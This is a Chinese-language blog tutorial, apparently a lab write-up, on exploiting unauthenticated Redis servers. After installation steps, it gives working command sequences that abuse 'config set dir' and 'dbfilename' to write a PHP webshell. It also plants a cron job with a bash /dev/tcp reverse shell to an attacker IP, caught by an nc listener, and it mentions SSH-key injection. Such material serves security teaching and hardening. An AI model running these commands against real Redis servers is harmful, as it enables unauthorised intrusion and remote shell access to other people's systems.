Redis未授權訪問之反彈shell

Redis簡介

Redis 是一個高性能的key-value數據庫。爲了保證效率,數據都是緩存在內存中。redis會週期性的把更新的數據寫入磁盤或者把修改操作寫入追加的記錄文件,並且在此基礎上實現了master-slave(主從)同步
 

漏洞簡介

1、什麼是redis未授權訪問漏洞

Redis 默認情況下,會綁定在 0.0.0.0:6379,如果沒有進行採用相關的策略,比如添加防火牆規則避免其他非信任來源 ip 訪問等,這樣將會將 Redis 服務暴露到公網上,如果在沒有設置密碼認證,會導致任意用戶在可以訪問目標服務器的情況下未授權訪問 Redis 以及讀取 Redis 的數據。
攻擊者在未授權訪問 Redis 的情況下,利用 Redis 自身的提供的config 命令,可以進行寫文件操作。

2、漏洞產生條件
(1)redis綁定在 0.0.0.0:6379,且沒有進行添加防火牆規則避免其他非信任來源ip訪問等相關安全策略,直接暴露在公網
(2)沒有設置密碼認證(一般爲空),可以免密碼遠程登錄redis服務

3、危害
(1)攻擊者無需認證訪問到內部數據,可能導致敏感信息泄露,惡意執行flushall來清空所有數據
(2)攻擊者可通過EVAL執行lua代碼,或通過數據備份功能往磁盤寫入後門文件
(3)最嚴重的情況,如果Redis以root身份運行,黑客可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害服務器:傳送門

 

漏洞復現

這裏介紹webshell的寫入反彈shell

實驗場景

Redis服務器(靶機):Ubuntu 16.4 ----- 192.168.101.46
Redis客戶機(攻擊機):Ubuntu 16.4 ----- 192.168.101.47

安裝Redis

wget http://download.redis.io/releases/redis-2.8.17.tar.gz
在這裏插入圖片描述
解壓安裝包:tar xzf redis-2.8.17.tar.gz
進入redis目錄:cd redis-2.8.17
安裝:make
在這裏插入圖片描述
進入src目錄,將redis-server和redis-cli拷貝到 /usr/bin 目錄下 (root權限)
(這樣啓動redis-server和redis-cli就不用每次都進入安裝目錄了)
將redis.conf拷貝到/etc/目錄下
在這裏插入圖片描述
啓動redis服務,安裝成功
在這裏插入圖片描述
服務端啓動成功,我們克隆這臺虛擬機,作爲攻擊機
(virtbox中,關閉/掛起虛擬機,右鍵虛擬器“複製”即可)
 

可進行服務交互

分清靶機、攻擊機的IP
在這裏插入圖片描述
在這裏插入圖片描述
靶機redis鏈接未授權,在攻擊機上能用redis-cli連上,如上圖,並未登陸驗證
 

一、利用Redis未授權寫入webshell

開了web服務器,並且知道路徑(如利用phpinfo,或者錯誤爆路經),還需要具有文件讀寫增刪改查權限
(我們可以將dir設置爲一個目錄a,而dbfilename爲文件名b,再執行save或bgsave,則我們就可以寫入一個路徑爲a/b的任意

把webshell寫入/home/shell/目錄(該目錄需要存在纔可寫入,不會自動創建)

config set dir /home/shell
config set dbfilename redis.php
set webshell "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
save
(save返回ERR的話,是服務端沒有以root權限啓動Redis的問題)
成功寫入shell
在這裏插入圖片描述
可以試着嘗試寫入一句話到網站www目錄下,再通過蟻劍/菜刀等方式連接
 

二、利用crontab反彈shell

在足夠權限下,利用redis將文件寫入計劃任務目錄下執行

攻擊機端口監聽

nc -lvp 2333

連接redis,寫入反彈shell
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.101.47/2333 0>&1\n\n" //一分鐘後執行該任務
config set dir /var/spool/cron
config set dbfilename root
save
在這裏插入圖片描述
發現已寫入文件中
在這裏插入圖片描述
1分鐘後,服務端(靶機)反彈shell給攻擊機
在這裏插入圖片描述
 
GOT IT!
更多利用方式可自行拓展~

 
******************************************************
小實驗小結,具體測試利用方式需根據具體實踐場景~

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章